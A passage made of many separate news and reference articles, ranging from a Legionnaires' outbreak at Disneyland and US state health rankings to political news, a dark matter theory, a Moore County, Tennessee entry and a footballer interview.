or visited the Anaheim area in September. Eight of the cases involve people visiting Disneyland and one person worked at the park. One person, who had not visited Disneyland, has died, officials said Friday. A Disneyland official said the resort voluntarily shut down two cooling towers in a backstage area of the theme park after it found the towers had elevated levels of a bacteria that causes Legionnaires’ disease. Jessica Good, a spokeswoman for the Orange County Health Care Agency, said in an email Friday night the agency found 12 people, ages 52 to 94, were diagnosed with Legionnaires’ disease, a type of airborne disease that causes a severe form of pneumonia to most people 50 years or older or with a weak immune system. One of those diagnosed was a cast member but where they worked at the park was not disclosed. Of the 12, 10 have been hospitalized, and one person died. The person who died was described as having additional health problems and did not visit the theme park, Good said. The health care agency is investigating all the cases, but has not yet identified a common exposure source for all of them, she said. The illness, also known as legionellosis, is an infection with symptoms of serious pneumonia and can be deadly if not treated. Legionnaires’ disease usually results from inhaling microscopic water droplets in mist or vapor. The bacterium Legionella living in freshwater rarely causes infections, but indoors it can multiply in water systems such as hot tubs and air conditioners, according to the Mayo Clinic. It is not spread through person-to-person contact. In a statement, Dr. Pamela Hymel, chief medical officer for Walt Disney Parks and Resorts, said Disney was informed Oct. 27 by the county agency of Disneyland’s possible role in the Legionnaires’ disease cases in Anaheim. “We conducted a review and learned that two cooling towers had elevated levels of Legionella bacteria,” Hymel said in the statement. “These towers were treated with chemicals that destroy the bacteria and are currently shut down.” Hymel added that Disney has worked with the county health care agency and that “there is no longer any known risk associated with our facilities.” “(Disney) reported having performed subsequent testing and disinfection and brought the towers back into service (Sunday),” Good said. While the towers, in a backstage area behind the New Orleans Square train station, were initially cleared, Disney on its own took them back out of service on Tuesday. Disney is working with health officials on the status of the towers. Good said there have been no additional Legionella cases after September and no known ongoing risk associated with this outbreak. In May, a community pool and spa in Foothill Ranch in South Orange County was closed after two cases of Legionnaires’ disease were reported. The disease sent two people to the hospital. Related: 5 things to know about Legionnaires’ disease -Medical advances are allowing more people to live with obesity, diabetes and high blood pressure. The 2012 America's Health Rankings show troubling levels of obesity, diabetes, high blood pressure and sedentary behavior. (Photo: Brendan Smialowski, AFP/Getty Images) Story Highlights U.S. life expectancy is now 78.5 years Americans are living longer, with fewer deaths from heart disease and cancer, but more chronic illnesses, an annual snapshot of the USA's health shows. The 2012 America's Health Rankings highlight troubling levels of obesity, diabetes, high blood pressure and sedentary behavior. Medical advances are allowing more people to live with those conditions. The bottom line: Americans "are living longer, sicker" with more chronic illness, says Reed Tuckson of theUnited Health Foundation, a not-for-profit foundation that sponsors the report with the American Public Health Association and the Partnership for Prevention. STORY: Living to 100: 80% are women, report shows For the sixth consecutive year, Vermont tops the list of healthiest states, says the report, which uses data from the Centers for Disease Control and Prevention, American Medical Association, Census Bureau and even the FBI. It looks at 24 measures of health, including tobacco and alcohol abuse, exercise, infectious diseases, crime rates, public health funding, access to immunizations, premature birth rates and cancer and heart disease rates. States that are most successful on the rankings "have good results in a majority of the conditions we evaluate," Tuckson says. But states such as Mississippi and Louisiana, which tied for last place, "are over represented in key measures like tobacco consumption, lack of exercise and obesity — the fundamentals," he adds. Although socioeconomic factors play an important role in some states' consistent low rankings, "we know it is possible to improve; states are capable of doing that," says Georges Benjamin, executive director of the American Public Health Association. Key to that effort is "taking lessons from things they do well and applying them more vigorously to the things they are not doing well." Louisiana has low rates of binge drinking and a high rate of childhood immunization, but it ranks in the bottom five states on 13 of 24 health measures, including obesity and diabetes. But "we don't have to accept those" indicators, says Karen DeSalvo, health commissioner for New Orleans. She says an extensive effort is underway "to get us to the place we need to be … to be a healthy state." States that showed the most substantial improvement in rankings include New Jersey (up nine places on the list); Maryland (up five). Alabama, Colorado, Massachusetts, Nebraska, Oklahoma, and Rhode Island each moved up three. Among the unhealthy behaviors the report cites: More than a quarter (26.2%) of all Americans are sedentary, defined as not doing any physical activity outside of work for 30 days. But it's 36% in Mississippi, and 35.1% in both Tennessee and West Virginia. 27.8% of U.S. adults are obese, defined as being roughly 30 or more pounds over a healthy weight. That's 66 million people — more than the entire population of the United Kingdom. In even the least obese state, Colorado, more than 20% of the population is obese. The percentage of adults with diabetes is 9.5% nationally, but it's 12% or higher in West Virginia, South Carolina and Mississippi. 30.8% of U.S. adults have high blood pressure, but that ranges from a low of 22.9% in Utah to a high of 40.1% in Alabama. High blood pressure, or hypertension, is a primary risk for cardiovascular disease — problems related to the heart and the blood vessels. "There's no way that this country can possibly afford the medical care costs and consequences of these preventable chronic illnesses," says Tuckson. "We have two freight trains headed directly into each other unless we take action now." "People have to be successful at taking accountability for their own health-related decisions." Life expectancy in the USA is now 78.5 years; premature deaths have dropped 18% since 1990, and deaths from cardiovascular disease are down 34.6%. Cancer deaths are down 7.6%. Vermont has been ranked as the healthiest state, according to the United Health Foundation. (Photo: Toby Talbot, AP) How states stack up 1. Vermont 2. Hawaii 3. N.H. 4. Massachusetts 5. Minnesota 6. Connecticut 7. Utah 8. New Jersey 9. Maine 10. Rhode Island 11. Colorado 11. North Dakota (tied) 13. Oregon 13. Washington (tied) 15. Nebraska 16. Wisconsin 17. Idaho 18. New York 19. Maryland 20. Iowa 21. Virginia 22. California 23. Wyoming 24. Kansas 25. Arizona 26. Pennsylvania 27. South Dakota 28. Alaska 29. Montana 30. Illinois 31. Delaware 32. New Mexico 33. North Carolina 34. Florida 35. Ohio 36. Georgia 37. Michigan 38. Nevada 39. Tennessee 40. Texas 41. Indiana 42. Missouri 43. Oklahoma 44. Kentucky 45. Alabama 46. South Carolina 47. West Virginia 48. Arkansas 49. Louisiana 49. Mississippi (tied) Source: United Health Foundation, 2012 Unhealthy conditions Percentage of U.S. adults* who are obese: 27.8% Percentage who are physically inactive: 26.2% Percentage who smoke: 21.2% *18 and older Source: United Health Foundation, 2012 Read or Share this story: http://usat.ly/S0G7bb -Traumatized and depressed, a 24 year-old girl decided to commit suicide when her boyfriend left her. After getting a government job, the boy came under family pressure and left the girl. After such a drastic incident, all that the girl could think of was suicide. She decided to end her life by jumping in the Yamuna canal which is 4km away from Saharanpur. Just before jumping she suddenly decided to search for an easier method to end one’s own life. She searched “How to commit suicide” on Google. Fortunately, instead of showing the methods, the search results showed “Suicide Helpline Numbers”. Instead of thinking more, she dialed one of the numbers that appeared on the mobile screen. The call was received by the Deputy Inspector General of Police, who convinced her to get counseling. According to DIG Jitendra Kumar Sahni, On January 3, I got a call from the girl on my public number. She was quite nervous and was about to end her life. She told me she had even searched how to kill herself on Google. Among the search results, she told me, she found my number. I heard her out and told her to come to my office so we could talk about it in detail. Also See Download our Android App And Stay Up-To-Date After some time, the girl reached the DIG’s office, where she told her story. She was depressed and out of her mind. All she wanted was to end herself. The DIG asked the station officer of the women’s police station to take the matter in her hands and give counselling to the girl. The female inspector got in touch with the boy and talked to the couple to search for better options for a better future. Technology saved this girl’s life and Google should get all the appreciation for listing suicide helpline numbers for such searches instead of the methods. -Sen. Elizabeth Warren Elizabeth Ann WarrenSanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' House to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (D-Mass.) said Monday that she has no intention of backing a contender in the Democratic presidential primary just yet. “No endorsements now,” she said before Iowa’s first-in-the-nation caucuses that night, according to MassLive.com. ADVERTISEMENT “We’ll see,” the progressive lawmaker added when asked if she would announce a pick following the contest’s results. An endorsement by the popular senator is seen as a key prize in the Democratic race. Warren also praised the Democratic presidential field for conducting a policy-oriented race in comparison to their GOP counterparts. “I think that what the Democrats are doing is terrific,” she said. "We’re out talking about the issues. I look at the Republican debates and the difference between what they’re doing and what the Democrats are doing that really shows who’s on whose side.” Warren then refused comment on whether Democratic presidential front-runner Hillary Clinton’s past ties with Wall Street trouble her. “[I have] concerns about everybody’s relationships with Wall Street,” she said in Springfield, Mass. "This is a rigged game, and it’s rigged because Wall Street makes sure that in every decision that gets made they’re there. They make sure they’ve got their lobbyists and their lawyers so that everything tilts just a little more in their direction. This is what I’m fighting every day in the United States Senate.” Warren has notably remained silent on who she supports for her party’s presidential nomination. She has refrained from picking fellow progressive Bernie Sanders but also remains the only female Democratic senator to not back Clinton. She has praised proposals of both candidates — Sanders for his plan to to rein in big banks and Clinton for her call to block Republicans from chipping away at banking reform. Clinton and Sanders remain locked in a virtual tie in Iowa early Tuesday. Sanders trails Clinton by less than 1 percent there. The Democratic presidential field also shrank Monday evening following Martin O’Malley’s exit from the race. The former Maryland governor announced he is suspending his Oval Office bid after a lackluster showing in the Hawkeye State. -Is There Something Special About Our Galaxy's Dark Matter? Astrophysicists offer a possible explanation for why dark matter seems to behave differently in the Milky Way. An artist’s impression of the Milky Way galaxy. The blue halo of material surrounding the galaxy indicates the expected distribution of dark matter if it were visible. Yuen Yiu, Staff Writer (Inside Science) -- When you stare into a night sky glistening with stars, even with the world's most powerful telescope, you can only see the roughly 20 percent of the universe that glows. The rest is composed of dark matter -- material that scientists have not yet observed directly, but believe exists because galaxies don't rotate the way they would if they contained only ordinary matter. Since dark matter particles are, by definition, dark, astrophysicists try to detect their presence indirectly. One way is to search for signs of phenomena that turn their darkness into light. Enter dark matter annihilation. Theory has it that when two dark matter particles crash into each other, they can be mutually obliterated, converting their combined mass into gamma rays. Since at least 2012, scientists have been detecting gamma rays that have the expected energy of dark matter annihilation events, but almost exclusively from the center of our own Milky Way galaxy. A theoretical paper published last month in Physical Review Letters provides an explanation for why these dark matter annihilations appear to occur primarily in our galactic backyard. Dark and frozen In the hot and dense early universe, dark matter particles, just like everything else, were so tightly packed together that they constantly ran into each other. These collisions sometimes resulted in annihilation events where mass was converted into energy in the form of light. As the universe continued to expand and cool, dark matter particles also became more and more spread out, and eventually were scattered too far apart for annihilation events to occur regularly. In astrophysics lingo, the particles had been "frozen out." "But now that dark matter particles have come together again -- in galaxies that are tightly packed together, in the centers of galaxies -- dark matter particles can find partners to annihilate again," said Basudeb Dasgupta, a theoretical physicist from Tata Institute of Fundamental Research in Mumbai, India. However, if all that's necessary for dark matter annihilation to occur is to have enough mass packed together, then we should also detect these gamma ray signatures from nearby dwarf galaxies, or galactic clusters -- but we don't. Based on this observation, Dasgupta and his colleague Anirban Das worked out a theoretical model that explains why dark matter particles annihilate each other in the center of our Milky Way galaxy. They proposed that in addition to the distribution of dark matter particles, the annihilations also heavily depend on their velocities. Specifically, the particles need to be traveling at roughly 100 kilometers per second. If they are zipping around too fast or too slow -- even if they are closely packed together -- annihilations won't happen. If the theory is true, it can explain why we don't see the same gamma ray signals from smaller or larger galactic systems -- the dark matter particles aren't moving at the right speed due to the size of the systems. But what about galaxies similar to our Milky Way? They should also have dark matter particles traveling at the right speed to create gamma rays, and indeed, just a few months ago, the Fermi satellite operated by NASA detected gamma rays at the expected energy coming from Andromeda -- the nearest galaxy comparable in size to our Milky Way. According to the new theory, the two galaxies, and perhaps a third named Triangulum, are the only objects in our local group of approximately 50 galaxies that are the right “Goldilocks” size for dark matter annihilation. Credit: NASA Goddard So far, so good, but before we pop the champagne on dark matter, scientists first need to rule out other possible sources for these gamma rays. Could something else be spewing out the exact same gamma rays? As big as Manhattan, as heavy as the Sun "Imagine an object only 20 or so kilometers in size, but as heavy as the Sun, and it spins around almost a thousand times per second," said Christoph Weniger, describing a millisecond pulsar, an object that just happens to spew off gamma rays just like dark matter annihilations do. Weniger is a theoretical astrophysicist from the University of Amsterdam in the Netherlands not involved in the theoretical study. "We know [millisecond pulsars] exist, but we don't know how many of them exist in the inner galaxy," said Weniger. "We will need to discriminate signals that look like many, many point sources, from something that is very smoothly distributed. The former would point to pulsars, and the latter to dark matter." Several papers, including one published by Weniger's group, argue that pulsars are the more likely candidate for these gamma rays, but for now, astronomers can’t quite make that distinction with 100 percent confidence. For that, they will either need to take in more data (similar to using a longer exposure time in photography), find better ways to process the data (similar to sharpening images using software), or just build a better telescope, perhaps one of the dozens of proposed concepts being considered by NASA and other non-U.S.-based space agencies. While scientists work to increase the sensitivity of astronomical measurements so that they can test ideas like Dasgupta and Das’ new theory, they are also searching for dark matter in another way. Researchers have built huge underground laboratories, shielded from the noisy rain of light rays and particles from outer space, where they hope to directly measure the faint signal of a dark matter particle nudging an ordinary atom. For such direct detection experiments, “the sensitivities are now in the correct ballpark where we should be seeing one or two events perhaps,” said Dasgupta. “But we haven't seen anything so far." Even though the results to date have been negative, they have helped rule out many proposed candidates for dark matter particles, and are narrowing down the search little by little. “We are now near the end of a very long journey,” said Dasgupta, with a hint of optimism. Once scientists obtain definitive evidence on dark matter, the existing theories and hypotheses can fall into place around the experimental results, completing a huge missing chunk in the current model of our universe. But for now, the search continues -- up in space, underground and in the minds of researchers striving to understand the mysterious universe we live in. -Avidgor Lieberman is known as an outspoken politician who generally shuns the prevalent politically correct culture, but on Monday Israel’s foreign minister reached new heights, or is it lows, in his conduct vis-à-vis the media – by flushing the toilet during a radio interview. Senior Israeli officials often submit to interviews from their homes, especially when approached by morning shows on the radio. In the past, an interview with Opposition Chairwoman Tzipi Livni was interrupted by a radio turned on in the backdrop, but on Monday listeners were treated to entirely different background sounds. In an interview with the Reshet Bet radio station, Lieberman was addressing the latest round of fighting against Gaza terrorists, while apparently sitting in the bathroom. Referring to Hamas, the minister said “we know who we’re dealing with,” and shortly thereafter the sound of flushing could be clearly heard in the background. Lieberman, who has been fighting off accusations of corruption, may be indicted in the coming days. Attorney General Yehuda Weinstein is expected to announce as soon as Tuesday the charges against the foreign minister, which will apparently include fraud and breach of trust, but not bribery. Lieberman's associates told Ynet Monday that he "has already clarified that there is no connection between political and coalitional issues and legal issues". His party, Yisrael Beiteinu, says he will not resign before a court hearing in any case. The “bathroom incident” prompted great discussion on Ynet’s Hebrew site, with talkbacks divided between those supporting Lieberman and downplaying his actions to readers upset by the foreign minister’s conduct. -(Newser) – At least she's found some use for her education. A 2008 graduate of San Diego's Thomas Jefferson School of Law is suing her alma mater for $50 million because she hasn't secured a full-time job as an attorney. She alleges the college falsified its post-graduate employment statistics, reports 760 KFMB-AM. The former student—who graduated with honors and passed the bar on her first try—says she attended the school because of its reported 70% post-grad employment rate. According to the lawsuit, the plaintiff—who works as a freelance document reviewer—has been "unable to secure a full-time job as an attorney that pays more than non-legal jobs available to her," and she would "not have attended TJSL and incurred more than $150,000 in school loans if she knew the truth about her job prospects upon graduation." The school denies the claim of false advertising, and a dean says it isn't the duty of the college to find jobs for graduates. "It is the responsibility of the person who is paying so much for an education to figure out what they're going to be able to do with it," she says. "I guess it's a very expensive life lesson." Click to read one view that law school is a bad investment. (Read more law school stories.) -The estranged wife of former Vice President Joe Biden's youngest son, Hunter Biden, claims he squandered the couple's money on drugs, alcohol and prostitutes since the couple separated in 2015. In a court filing last week, Kathleen Buhle Biden asked a Washington, D.C. judge to order Hunter Biden to stop spending the couple's remaining assets. "Throughout the parties' separation, Mr. Biden has created financial concerns for the family by spending extravagantly on his own interests (including drugs, alcohol, prostitutes, strip clubs, and gifts for women with whom he has sexual relations) while leaving the family with no funds to pay legitimate bills," wrote Rebekah Sullivan, a lawyer for Kathleen. Sarah Mancinelli, an attorney for Hunter Biden, declined to directly address the allegations. "Hunter and Kathleen have been separated for some time and are in the process of finalizing a divorce," Mancinelli wrote in an email. "Hunter loves and admires Kathleen as a person, a mother, and a friend. He hopes their privacy can be respected at this time." Kathleen Biden filed for divorce in December and is seeking sole custody of the couple's 16-year-old daughter, the youngest of their three children. A status hearing is scheduled for March 30. The New York Post reported this week that Hunter Biden, 47, is dating Hallie Biden, 43, the widow of his late brother, former Delaware Attorney General Beau Biden, who died of brain cancer in May 2015. In a statement to the Post, Hunter Biden said the pair was "incredibly lucky" to have found love and support from one another during a difficult time. Court records indicate that Kathleen Biden asked her husband to leave the couple's Washington, D.C., home on July 5, 2015, prompted by his actions on the night of July Fourth. The filing doesn't offer details. The couple agreed to separate three months later because of what Kathleen Biden describes as irreconcilable differences, including drug use and infidelity. Hunter Biden, who has filed a counterclaim and is seeking joint custody, denies that his conduct resulted in the separation. Biden, an attorney and former lobbyist who works at an investment firm, was discharged from the U.S. Navy Reserve in 2014 after testing positive for cocaine. In the court filing, Kathleen said Hunter last year instructed his office to reduce monthly transfers to her to $7,500 per month, compared to the previous average of about $17,000. At the same time, she claims, he has spent lavishly, borrowed heavily and transferred money to himself. Sullivan described the couple's outstanding debts as "shocking and overwhelming," with maxed-out credit cards, double mortgages on two homes, and tax debt of more than $313,000. -Long before the Supreme Court overturned the Defense of Marriage Act, conspiracy broadcaster Alex Jones was warning his viewers that the government was turning people gay by putting chemicals in their juice boxes, water bottles, and potato chip bags that feminized men. “The reason there are so many gay people now is because it’s a chemical warfare operation,” Jones said in a June, 2010 clip that has gained renewed attention since the DOMA ruling. “I have the government documents where they said they’re going to encourage homosexuality with chemicals so people don’t have children.” Cutting open a juice box to reveal the nefarious plastic lining laced with “estrogen mimickers,” Jones continued, “After you’re done drinking your little juices, you’re ready to go out and have a baby. You’re ready to put makeup on, you’re ready to wear a short skirt.” While there is some research that suggests plastics leach hormone-like chemicals, there’s no evidence that they’re harmful to one’s health or that the government is involved in a secret plot to turn the country gay. It’s typical Jones conspiracy fare: Globalists secretly working to depopulate the planet so they can seize control. But it’s also typical of a vicious homophobic vein in Jones’ worldview, which is often overlooked and seems to run in direct contradiction to his proclaimed support for individual liberty. It’s not a central theme of Jones’ broadcasts, but a potent undercurrent. For instance, while hosting Minnesota-based radical anti-gay pastor Bradlee Dean in 2011, Jones said that “all over the country, it is a fact” that gay people are “recruiting 7-year-olds.” “They teach children sexual acts that can kill you,” he added. Later, Jones defended Chick-fil-A’s donations to anti-gay groups, and gave Dean a platform on InfoWars.com to attack the “homosexual agenda.” SPONSORED In October of 2011, Jones warned that “ nellies ,” a derogatory term for gay people, are snatching children away from straight couples. “It’s not that – I don’t even dislike gay people or hate them . It’s that I’ve been to these events and a lot of times it’s the specialized homosexuals who are collecting everybody’s kids that run them, so then it’s like they’re persecuting us and I’m tired of it,” he said. -via Shutterstock)” width=”637″ height=”424″ />Teachers on strike and protesting in downtown Chicago, September 13, 2012. (Photo via Shutterstock) On July 30, Reps. Keith Ellison (D-MN) and John Lewis (D-GA) introduced the “Employee Empowerment Act,” legislation that would make joining a union a legally protected civil right. The bill would bring union membership under Title VII of the Civil Rights Act – the same legislation that bars employment discrimination based on race, gender, religion, national origin and more. While existing labor law already prohibits employers from disciplining or firing workers because of union activity, it does not have enough bite to deter employers. Bringing union membership under Title VII would add teeth to the law, allowing for punitive damages, lawyers’ fees, discovery and jury trials. The idea, first promoted by Richard Kahlenberg and Moshe Marvit, is both to raise the legal stakes involved for employers tempted to flout the law, and to bestow upon labor rights the same legitimacy granted to civil rights. As Ellison explained, “If it’s a civil rights action, it’s vindicating your personal right, first of all to freedom of assembly and freedom of expression. . . . . And it’s your individual right to say what you want. Whether or not there’s ever even a vote, you shouldn’t be fired for expressing an intent to support union activity.” Ellison and Lewis are unquestionably pro-labor, and Kahlenberg and Marvit’s proposal is clearly aimed at boosting labor’s sagging fortunes. But despite its intentions, this proposal could end up hurting unions more than it helps. The problem is two-fold. First, as many have noted, including Jane McAlevey most recently, legal strategies in general put workers and their unions at a disadvantage. They displace the conflict between workers and employers from an organizing context where workers can play a leading role and build their own power, to a legal context where workers must rely on experts to fight for them. In this context, even victories occur after years of waiting, during which time the employer can maintain the status quo. In focusing on the legal process, Ellison’s and Lewis’ proposed legislation would not address these problems. Even worse, it risks entangling organizing even more deeply in a maze of legal technicalities. Second, this proposal does not do enough to address the core problem with US labor law: its inability to prevent employers from interfering in workers’ decision to unionize. To be sure, the call to add punitive damages for employer violations is welcome. But the bill’s focus on enshrining labor rights as individual rights may reinforce the very dynamics that have allowed employers to turn labor law so far in their favor. As my own research comparing the formation and development of US and Canadian labor law shows, one of the key factors that has allowed US labor law to erode over time is precisely that it has attempted to enforce what are fundamentally collective labor rights within an individual rights framework. Working within an individual rights framework, US courts and legislatures have preoccupied themselves with “striking a balance” between competing sets of rights. While it sounds fair, attempts to “balance” competing rights ignore the inherent power imbalance between labor and management. As a result, what might at a formal level seem “balanced” ends up tilted in management’s favor. So just as the 1935 National Labor Relations Act established the right to join a union, the 1947 Taft-Hartley Act and subsequent legal interpretations “balanced” that right with the right to refrain from joining a union. This paved the way for so-called “right to work” laws, which are now in place in 24 states, and are frequently identified as a key source of US labor’s weakness. Similarly, courts have sought to “balance” workers’ right to engage in “concerted and protected activity” in favor of unions with a corresponding right of employers to convey their opinions of unions to workers under the so-called “employer free speech” doctrine. As Justice Learned Hand noted with regard to employer free speech, “[w]hat to an outsider will be no more than the vigorous presentation of a conviction, to an employee may be the manifestation of a determination which it is not safe to thwart.” Sure enough, Kate Bronfenbrenner and others have shown that employers have often used their “free speech” rights to engage in systematic campaigns of threats and intimidation explicitly designed to frustrate workers’ attempts to organize. The focus on defending individual rights ignores that labor rights are fundamentally collective. They only become real when exercised as a group, and the benefits only accrue to groups. That’s why it’s called collective bargaining: The only way that workers can possibly counter the inherent power imbalance between labor and management is to band together as a group. It’s also why “right to work” laws are so pernicious: In the name of defending individual rights, they encourage free-riding, which undermines workers’ ability to exercise their collective labor rights. In wrapping labor rights even more tightly within an individual rights framework, Ellison’s and Lewis’ proposed legislation risks playing into the same narrative of “balance” that has eroded US labor rights for more than 70 years. Of course, the real focus for labor revitalization needs to be on building independent organization in the workplace, something that unions themselves have ignored for far too long. But, to the extent legal reform strategies are on the table, the focus should be not on shoring up individual rights, but on creating a framework that protects workers’ ability to exercise their collective rights. Key to this is legislation limiting employers’ ability to intervene in the unionization process. Just as employers are left alone to decide with which associations they wish to affiliate, so too should workers. Doctrines such as “employer free speech,” while fair-sounding, provide a green light for employers to trample workers’ labor rights with abandon. Redefining “employer free speech” as illegal coercion would do far more to defend labor rights than seeking even more protections from the courts that have failed US workers for decades. -Laura Gordon has been voted in by Liberal Democrat party members to be the party’s new Prospective Parliamentary Candidate (PPC) in Sheffield Hallam. Laura Gordon said, I am really honoured to be selected by the Liberal Democrats to be the candidate in Sheffield Hallam. The Liberal Democrats have a long history in Sheffield Hallam and it is a privilege to follow in the footstep of Richard Allan and Nick Clegg. Our country faces some tough challenges over the next few years. We’ve got Brexit taking up all the time in Parliament and making us more inward looking while big global issues like climate change are continuing to threaten our way of life. I’ve seen first hand while working with Oxfam, Save the Children and the Department for International Development just how much damage these big international issues are having. Sheffield Hallam deserves a fresh new voice to stand up for our community in the face of a weak and wobbly Government and a Labour Party that has let Sheffield down. Labour have also failed us locally. We’ve seen pensioners arrested at dawn, a local councillor taken to court and the £900 million devolution deal collapse. It’s time to believe in better for Sheffield. -UPDATE: The video has been disabled. Nine Inch Nails played their first American show since 2009 at Lollapalooza this past weekend, delivering a stunning 100-minute set that SPIN ranked as the undisputed highlight of the festival’s first day. “The sound was like a minimalist remix molded in their own influences,” SPIN’s Christopher R. Weingarten wrote. “Equal parts Chicago house and Tubeway Army, playing songs like 1989’s ‘Sanctified’ with no guitars and letting Reznor bang a tambourine (!) on his chest for this year’s ‘Came Back Haunted.‘” Now, fans who couldn’t make it out to Chicago’s Grant Park can witness the entire show above. Trent Reznor dusted off several NIN standards (“Closer,” “Hurt,” and “Head Like a Hole”), plus a handful of new tracks (the aforementioned “Came Back Haunted,” “Copy of A”, and “Find My Way”) set to appear on the industrial icons’ upcoming September 3 album, Hesitation Marks. As for the stage show, SPIN noted that “[the] much-ballyhooed light show was actually more of a ‘shadow show,’ blasting the band’s likenesses 20 feet high or letting them move as silhouettes drowned in a screen’s glow. Lights blurted out like machine gun fire during ‘March of the Pigs’ and scrolled like Men in Black eyeball scanners during ‘The Wretched.'” Pretty hate machine, indeed. Full set list below (via Slicing Up Eyeballs). Nine Inch Nails @ Lollapalooza 2013 set list: “Copy of A” “Sanctified” “Came Back Haunted” “1,000,000” “March of the Pigs” “Piggy” “The Frail” “The Wretched” “Terrible Lie” “Closer” “Gave Up” “Help Me I Am in Hell” “Me, I’m Not” “Find My Way” “What If We Could?” “The Way Out Is Through” “Wish” “Survivalism” “Only” “The Hand That Feeds” “Head Like a Hole” “Hurt” -Moore County is a county located in the U.S. state of Tennessee. As of the 2010 census, the population was 6,362,[2] making it the third-least populous county in Tennessee. It forms a consolidated city-county government with its county seat of Lynchburg.[3] With 130 square miles (340 km2), it is the second-smallest county in Tennessee, behind only Trousdale. The county was created in 1871, during the Reconstruction era.[1][4] Moore County is part of the Tullahoma-Manchester, TN Micropolitan Statistical Area. History [ edit ] Moore County was established in 1871 from parts of Lincoln, Bedford and Franklin counties, and named in honor of General William Moore, an early settler and long-time member of the state legislature.[1] The new county originally contained about 300 square miles, but Lincoln County sued and successfully reclaimed a portion of its land, reducing the new county's size.[1] Beginning in the 1820s, whiskey distilleries were developed in Moore County. By 1875, fifteen distilleries were operating in the county. At the end of the 20th century, the Jack Daniel Distillery in Lynchburg was a major employer and the county's primary source of revenue.[1] Because of the small size of this county, in the late 20th century city and county officials began to discuss creating a consolidated government in order to lower costs and improve services. In 1988, the Metropolitan Government of Lynchburg, Moore County, Tennessee was voted into law as the governing body of Moore County, including Lynchburg.[5][6] Geography [ edit ] According to the U.S. Census Bureau, the county has a total area of 130 square miles (340 km2), of which 129 square miles (330 km2) are land and 1.2 square miles (3.1 km2) (0.9%) are water.[7] It is the second-smallest county in Tennessee by area. The county is located partially on the rugged Highland Rim and partially in the flatter Nashville Basin.[1] Adjacent counties [ edit ] Protected area [ edit ] Demographics [ edit ] [13] Age pyramid Moore County As of the census[14] of 2010, there were 6,362 people, 2,492 households, and 1,841 families residing in the county. There were 2,492 occupied housing units. The racial makeup of the county was 95.4% White, 2.3% Black or African American, 0.3% Native American, 0.4% Asian, 0.5% from other races, and 1.1% from two or more races. 1.1% of the population were Hispanic or Latino of any race. There were 2,492 households, out of which 27% had children under the age of 18 living with them, 61.8% were married couples living together, 8.1% had a female householder with no husband present, and 26.1% were non-families. 22.6% of all households were made up of individuals, and 11.0% had someone living alone who was 65 years of age or older, male or female. The average household size was 2.51, and the average family size was 2.93. In the county, the population was spread out with 24.2% under the age of 20, 14.8% from 20 to 34, 20.5% from 35 to 49, 22.1% from 50 to 64, and 18.4% who were 65 years of age or older. The median age was 43.3 years. Per 2000 Census data, the median income for a household in the county was $36,591, and the median income for a family was $41,484. Males had a median income of $31,559 versus $20,987 for females. The per capita income for the county was $19,040. 9.6% of the population, and 7.8% of families were below the poverty line. 11.7% were under the age of 18, and 12.1% were 65 or older. Economy [ edit ] Moore County is the location of the Jack Daniel Distillery, whose famous brand of Tennessee whiskey is marketed worldwide. Despite the distillery, Moore is a dry county.[15] This status dates to the passage of state prohibition laws in the early 20th century. While federal prohibition ended in 1933 with the repeal of the Eighteenth Amendment, state prohibition laws remain in effect. All Tennessee counties are dry by default, though any county can become "wet" by passing a county-wide "local option" referendum. Moore County has yet to pass such a referendum.[16] Education [ edit ] Schools in Moore County are a part of Moore County Schools, overseen by The Moore County Department of Education:[17] Lynchburg Elementary School - grades PreK–6 Moore County High School - grades 7–12 Motlow State Community College is located in northern part of Moore County. Politics [ edit ] Presidential election results Presidential Elections Results[18] Year Republican Democratic Third Parties 2016 79.5% 2,325 17.0% 496 3.6% 105 2012 73.4% 2,053 25.2% 705 1.5% 41 2008 68.1% 2,010 29.8% 881 2.1% 61 2004 60.1% 1,668 39.1% 1,084 0.8% 22 2000 49.8% 1,145 48.1% 1,107 2.1% 49 1996 42.7% 846 47.2% 935 10.1% 199 1992 30.8% 661 53.7% 1,151 15.5% 333 1988 51.4% 786 47.8% 731 0.9% 13 1984 51.4% 863 48.1% 808 0.5% 9 1980 34.6% 551 62.3% 993 3.2% 51 1976 22.9% 331 76.0% 1,101 1.1% 16 1972 61.0% 608 35.7% 356 3.2% 32 1968 15.7% 224 24.3% 346 60.0% 856 1964 20.3% 264 79.7% 1,034 1960 26.4% 313 72.7% 863 0.9% 11 1956 23.1% 270 76.5% 893 0.3% 4 1952 30.0% 354 70.0% 826 1948 12.3% 102 62.9% 523 24.8% 206 1944 16.2% 143 83.8% 742 1940 10.8% 106 88.5% 869 0.7% 7 1936 12.2% 101 87.2% 719 0.6% 5 1932 6.5% 65 92.7% 923 0.8% 8 1928 23.3% 133 75.5% 431 1.2% 7 1924 7.6% 41 91.6% 492 0.7% 4 1920 15.3% 90 84.7% 497 1916 9.0% 71 91.1% 722 1912 14.1% 116 84.4% 694 1.5% 12 See also [ edit ] References [ edit ] Coordinates: -What do you think the recent success of Atletico Madrid is down to? Firstly, we are not a team of individuals. We are a collective group of hard-working players who always want the best for the team. We battle for every ball during every minute of each match and you can see even in training matches that nobody wants to lose. We have a great team spirit, like a family, and the secret to the club's success is down to everybody working for each other. Atletico’s defence is extremely well organised - what do you work on in training to be so good when you’re not in possession? Training involves a lot of tactical work. We are always trying to work hard to ensure that we are improving as a team. Our basis is to prevent teams from scoring and a lot of our training exercises involve trying to stop the ball getting through the midfield and defence. Is Diego Simeone focused on discipline or is he generally quite relaxed? Of course he is a very strong-minded coach, but he was a top player in his playing days as well and everybody knows that you can't achieve that success without having a lot of self-discipline as well. He has taught us a lot about discipline both on the pitch tactically, and off the pitch too. fact file Data Fakta Tanggal Lahir 30 Januari, 1987 30 Januari, 1987 Tempat lahir Istanbul, Turki Istanbul, Turki Posisi Gelandang Gelandang Klub sebelumnya Galatasaray, Manisaspor (pinjaman) Galatasaray, Manisaspor (pinjaman) Prestasi Internasional 71 kali bermain untuk timnas, mencetak 14 gol. How would you compare Simeone with your international coach Fatih Terim? It’s hard to compare Cholo and Fatih Terim. Terim has been a coach for so long and has experienced unbelievable success. He taught me so much as a young player [at Galatasaray] and I will always be grateful for him and his role in helping me get to this level. On the other hand, Cholo is still in the early of his career as a manager, he is still very young but is already one of the top coaches in Europe. I have no doubt that we will see Cholo as one of the world’s top coaches for many years to come. What was it like playing with Radamel Falcao? Did you think the team could play so well without him? Tigre (Falcao) is one of the top strikers in the world, and he showed his potential and class 